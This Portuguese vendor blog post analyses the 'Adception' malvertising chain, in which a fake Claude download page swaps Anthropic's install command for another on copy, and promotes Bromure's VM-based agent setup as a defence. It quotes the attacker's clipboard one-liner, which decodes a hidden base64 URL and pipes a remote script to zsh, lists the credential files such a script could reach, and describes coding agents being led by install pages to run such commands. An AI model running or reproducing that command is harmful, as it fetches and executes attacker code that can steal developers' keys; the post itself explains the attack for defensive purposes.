← Voltar para todas as publicações
Publicado em · por Renaud Deraison

A página mostrava o comando verdadeiro

Em 9 de outubro, a Push Security descreveu um anúncio do Google para “claude mac” cujo destino era um link real do bing.com. Quatro redirecionamentos depois, uma página falsa de download do Claude exibia o comando de instalação genuíno da Anthropic, e o botão Copiar colocava outro na área de transferência: uma URL escondida, enviada para o zsh. A Push chama a técnica de Adception. No Bromure Agentic Coding, o Claude Code chega dentro de uma VM por uma etapa de configuração assinada, o login acontece em uma máquina descartável, e ninguém digita um comando de instalação em um terminal do Mac.

A página mostrava o comando de instalação da Anthropic, caractere por caractere. O botão Copiar colocava outro na área de transferência.

Alguém em um cliente da Push Security digitou “claude mac” no Google. O primeiro resultado era um link patrocinado, e o domínio exibido embaixo era bing.com. O anúncio não usava nenhum domínio parecido nem erro de grafia no nome da Anthropic. A revisão de anúncios do Google tinha aprovado um anúncio cujo destino era outro mecanismo de busca.

A Push publicou a cadeia na quinta-feira, 9 de outubro, e batizou a técnica de Adception. O BleepingComputer publicou a história na mesma tarde. Os pesquisadores da Push escreveram que já tinham visto resultados de busca usados como redirecionadores, mas “nunca como destino de um anúncio de busca, e não encontramos nenhum relato público anterior disso”. Um timestamp dentro do link do Bing decodifica para 5 de outubro.

Quatro saltos até um botão Copiar

O clique passava por quatro paradas:

  1. google.com/aclk, o redirecionamento de clique em anúncio do Google.
  2. bing.com/ck/a, o próprio link de rastreamento de cliques do Bing para um resultado de busca real. Ele redireciona com uma pequena página JavaScript, então o navegador chega ao salto seguinte com um referrer bing.com.
  3. A página “quem somos” de um varejista sul-americano real com um site WordPress comprometido. Ela só redireciona visitantes que chegam do Bing com os cabeçalhos de navegador certos.
  4. claude-desk-code[.]com, uma cópia caprichada da página de download do Claude, com um botão Download for macOS e uma instalação de uma linha no terminal.

Cada salto verifica de onde o visitante veio. Carregue a página falsa diretamente, e o JavaScript dela lê document.referrer, não encontra nem Google nem Bing, e entrega /404.html. Um revisor de anúncios, um scanner ou um pesquisador que cola a URL não vê nada. Nas palavras da Push, “o payload malicioso só aparecia se você chegasse ao fim da cadeia por esse caminho específico”.

A página exibe o comando que a Anthropic publica:

curl -fsSL https://claude.ai/install.sh | bash

O botão Copiar coloca isto na área de transferência:

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

Colada no Terminal, a primeira metade imprime uma linha tranquilizadora com a URL da Anthropic. A segunda metade decodifica um endereço escondido em lake-90[.]com, baixa um arquivo .dat e o envia para o zsh. Nada chega ao disco para ser escaneado antes. A Push liga oito domínios de isca, entre eles cli-desktop[.]com e too.clawddddd[.]com, a um kit que ela acompanha como AcSig, e observa que os domínios mudam rápido o bastante para que “IoCs de vida curta tenham valor limitado”.

Por que a isca é uma ferramenta de IA

A Push classifica o Adception como InstallFix, uma variante do ClickFix que ela descreveu pela primeira vez em março: guias de instalação falsos para ferramentas cuja instalação genuína é uma linha de terminal. O Claude Code é o caso exemplar. A instalação documentada dele é um curl enviado para um shell, então uma página que pede a um desenvolvedor para colar um no Terminal parece legítima.

A Push diz que as páginas ClickFix já representam mais da metade das suas detecções mensais, e que “4 em cada 5 ataques ClickFix (incluindo as variantes InstallFix e LLMshare) que detectamos chegam às vítimas por mecanismos de busca”. Desenvolvedores são a maioria das pessoas que buscam “claude mac”, e o Mac de um desenvolvedor vale muito para quem roda um script nele.

A Push não recuperou o payload final, então ninguém sabe ainda o que esse script faz. Um processo zsh iniciado no seu Terminal roda como você, com a sua pasta pessoal:

  • ~/.aws/credentials, ~/.config/gcloud, ~/.kube/config
  • ~/.ssh/id_ed25519 e ~/.git-credentials
  • o token do gh e os tokens de publicação do npm e do PyPI
  • os arquivos .env de cada checkout
  • o login do próprio agente, se o Claude Code já estava instalado
  • perfis de navegador, cookies e tokens de sessão

A vítima ainda acha que a instalação funcionou. Se o script instalar o Claude Code de verdade como último passo, nada parece errado.

No Mac: 4 redirecionamentos, 1 botão Copiar, 1 colagem1. Anúncio do Googlebusca: "claude mac"domínio exibido: bing.com2. bing.com/ck/alink real de resultadoredireciona via JavaScript3. "Quem somos" da lojaWordPress comprometidosó redireciona vindo do Bing4. claude-desk-code[.]compágina de download falsavisita direta: 404Exibido na páginacurl -fsSL https://claude.ai/install.sh | bashColocado na área de transferênciaecho "Downloading Claude…" && curl $(… | base64 -d) | zshTerminal no seu Mac: o script de lake-90[.]com roda como você~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · token gh · tokens npm e PyPI · .env · sessões do navegadorA tela diz "Downloading Claude: https://claude.ai/install.sh". Nada é gravado em disco antes de rodar.
Adception em um Mac. Cada redirecionamento verifica o referrer, então só um clique real no anúncio chega à página falsa. A página mostra o comando da Anthropic, copia o do atacante, e a linha colada roda um script escondido como você.

O conselho joga o trabalho em você

As orientações que vieram depois do relatório são a lista de sempre: digite você mesmo a URL do fornecedor, desconfie de resultados patrocinados, leia o que colou antes de apertar Return, trate como suspeita qualquer página de instalação que peça o Terminal. Tudo isso está certo. Também exige que um desenvolvedor, no meio da configuração de uma ferramenta nova, leia com mais atenção do que uma página feita para passar por uma olhada rápida. O comando na tela era o da Anthropic. O domínio do anúncio era o do Bing. O redirecionamento passava por um varejista real. Um desenvolvedor cuidadoso que verificasse cada um desses pontos não teria encontrado nada de errado.

O Bromure elimina o passo de que o ataque depende: um desenvolvedor colando o comando de instalação de um agente de código em um terminal do Mac que guarda as chaves dele.

Claude Code no Mac, sem instalá-lo no Mac

O Bromure Agentic Coding roda Claude Code, Codex, Grok, Kimi Code e Oh My Pi dentro de VMs Linux no seu Mac. Nenhum deles chega lá por um terminal do Mac.

O app é uma imagem de disco notarizada

O Bromure Agentic Coding é distribuído como um DMG assinado e notarizado a partir de bromure.io. Você o arrasta para Aplicativos, e o Gatekeeper o abre sem aviso. O manual diz o que fazer com qualquer outra cópia: “Se você obteve um DMG de outro lugar que não bromure.io e o Gatekeeper reclamar, trate isso como um sinal de alerta, não como algo a contornar.” Depois disso, o app se atualiza sozinho com o Sparkle e confere cada atualização com a chave de assinatura do Bromure antes de instalá-la. A instalação inteira não contém nenhum comando, então não tem botão Copiar para ninguém trocar.

Os agentes chegam como etapas de configuração assinadas

Na primeira execução, o assistente de configuração baixa a imagem base do Bromure, um disco Ubuntu 24.04, e confere o SHA-256 dela. Depois instala os agentes na sua cópia da imagem como etapas de configuração listadas em um catálogo. O catálogo tem uma assinatura ed25519, feita com a mesma chave que assina as atualizações do app, e a assinatura cobre cada comando de configuração. O app recusa um catálogo sem assinatura ou alterado, e qualquer catálogo mais antigo do que um que ele já tenha aceitado.

A etapa do Claude Code é uma instalação via npm envolvida pelo scanner de cadeia de suprimentos do Socket.dev, executada dentro de uma VM auxiliar. Ninguém a cola, e um servidor de download adulterado não consegue mudá-la. Enquanto ela roda, a etapa do assistente mostra “Customizing the image: installing packages…”.

Quando um agente depois se atualiza sozinho dentro de uma máquina com npm install -g, a requisição atravessa o proxy do Bromure no Mac como qualquer outro download de pacote. O proxy aplica a política de cadeia de suprimentos da máquina (idade mínima, OSV, Socket.dev, Depi, o que você tiver ativado) antes que um único byte chegue à VM, e registra o download na Security Timeline.

O login acontece em uma máquina descartável

O guia de instalação do Claude Code termina com um login. No Bromure, a etapa Models do assistente cuida disso: escolha o login da Anthropic, conclua na página do navegador que se abre e espere por Signed in to Claude. O manual descreve o que acontece por baixo: “O login acontece no seu Mac, em uma máquina temporária oculta; você nunca vê um terminal.” A CLI do próprio provedor faz o login dentro dessa VM. O Bromure captura os tokens no host, criptografa-os e apaga a VM.

O login fica guardado em um arquivo criptografado com AES-GCM sob uma chave mestra mantida no Data Protection Keychain do Mac, marcada como somente deste dispositivo, com a sincronização do iCloud desligada. Nenhum arquivo de token ~/.claude fica na sua pasta pessoal para um script pegar, e cada máquina recebe seu próprio substituto.

No Bromure: Claude Code no seu Mac, e nada colado no TerminalO appDMG assinado e notarizadode bromure.ioArraste para Aplicativos,o Gatekeeper o abreAtualizações Sparkleconferidas com a chavenenhum comando a copiarConfiguração, no MacCatálogo de imagens, ed25519:cobre cada comandoClaude Code: npm install,via Socket.dev, em VM auxiliarLogin: VM temporária ocultatokens capturados e cifradosno host, VM apagadaVM da máquina (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…substitutos, não suas chavesnpm install -g (autoupdate)→ verificações do proxy→ Security TimelineGuardado no Mac, cifrado sob uma chave do Keychain (só este dispositivo)logins de assinatura · chaves de API · credenciais git e nuvem · chaves SSH · traces
O mesmo objetivo no Bromure. O app é um DMG notarizado, os agentes são instalados por etapas assinadas dentro da imagem, e o login roda em uma VM que é apagada depois. Nenhuma etapa pede que você cole um comando no Terminal.

Quando o agente sai procurando instaladores

O Adception mira uma pessoa diante de uma caixa de busca. Agentes de código também procuram instruções de instalação, e com mais frequência do que as pessoas: uma CLI que falta, um SDK novo, um linter que o README menciona. Um agente lê o HTML da página em vez de clicar em Copiar, mas as páginas InstallFix trazem o comando ruim no código-fonte, e a próxima campanha talvez nem se dê ao trabalho de usar um truque de área de transferência.

Digamos que um agente em uma máquina Bromure encontre uma página como claude-desk-code[.]com e rode a linha de comando dela. Quatro camadas separam esse script das suas chaves.

O script roda em um convidado Linux com substitutos

A máquina é uma VM Ubuntu, e o script roda nesse convidado Linux. A pasta pessoal dele contém o checkout do projeto e substitutos brm_ com os nomes de sempre: ANTHROPIC_API_KEY, GH_TOKEN, AWS_SECRET_ACCESS_KEY. Os valores reais ficam criptografados no Mac, e o proxy só os coloca na rede para requisições ao host para o qual cada credencial foi criada. Um script que coleta todos os tokens que encontra coleta strings que nenhum servidor vai aceitar.

Um substituto rumo ao host errado para a máquina

O proxy inspeciona cada requisição de saída, linha de requisição, cabeçalhos e corpo, em busca de substitutos a caminho de um host ao qual não pertencem. Quando o script envia o que coletou para o servidor do atacante, o proxy responde HTTP 451, não encaminha nada, pausa a VM e abre This environment may have been compromised no Mac, com o token, a credencial dele, o host ao qual pertence e o host para o qual foi enviado.

O host do payload nunca esteve na lista

O painel Guardrails da máquina tem um firewall de Outbound connections, com regras por host, faixa de IP, protocolo e porta. Defina Unmatched traffic como Deny, permita o provedor do modelo, os registros e o GitHub, e o curl para lake-90[.]com nunca se conecta. O veredito aparece na Security Timeline ao lado da sessão que fez a requisição.

A pasta pessoal volta no tempo

Cada inicialização de uma máquina cria um ponto de restauração da pasta pessoal dela. Desligue a máquina, escolha Rewind home…, selecione a inicialização de antes de o script rodar, e o próximo início sobe a partir dessa pasta. A pasta atual é guardada antes como um novo ponto, então o retrocesso pode ser desfeito. Para começar do zero, redefina a máquina para a imagem base.

Nenhum comando de instalação para colar

O Bromure é distribuído como um DMG notarizado a partir de bromure.io e se atualiza por versões Sparkle assinadas. Nada na configuração pede que você abra o Terminal.

Os agentes vêm de um catálogo assinado

O Claude Code e os outros agentes são instalados na imagem base por etapas cujos comandos são cobertos por uma assinatura ed25519. Um servidor adulterado não consegue mudá-los.

Login em uma VM descartável

O login do provedor roda em uma máquina temporária oculta. Os tokens são criptografados no Mac sob uma chave do Keychain, e cada máquina recebe um substituto.

Uma linha maliciosa cai em uma VM

Se um agente rodar uma mesmo assim, ela roda no Linux com substitutos, atrás de um firewall e de um detector de comprometimento no Mac, e a pasta pessoal volta no tempo.

O próximo anúncio de busca

A Push encontrou o Adception pelo clique de um único cliente, em uma isca voltada para um único termo de busca. O kit AcSig tem oito domínios, e a mesma página funciona para “codex mac”, “gemini cli install” ou qualquer ferramenta que os desenvolvedores buscarem no mês que vem. Desta vez, o Google aprovou um link do Bing. Da próxima, o anúncio pode apontar para algum outro domínio em que um revisor de anúncios confie.

Instale o agente de código uma vez, como um app, e deixe-o rodar onde a configuração é assinada e as chaves são substitutos. Para saber mais sobre comandos colados e confiança emprestada, leia A área de transferência é o exploit e Eles adicionaram o seu agente à lista.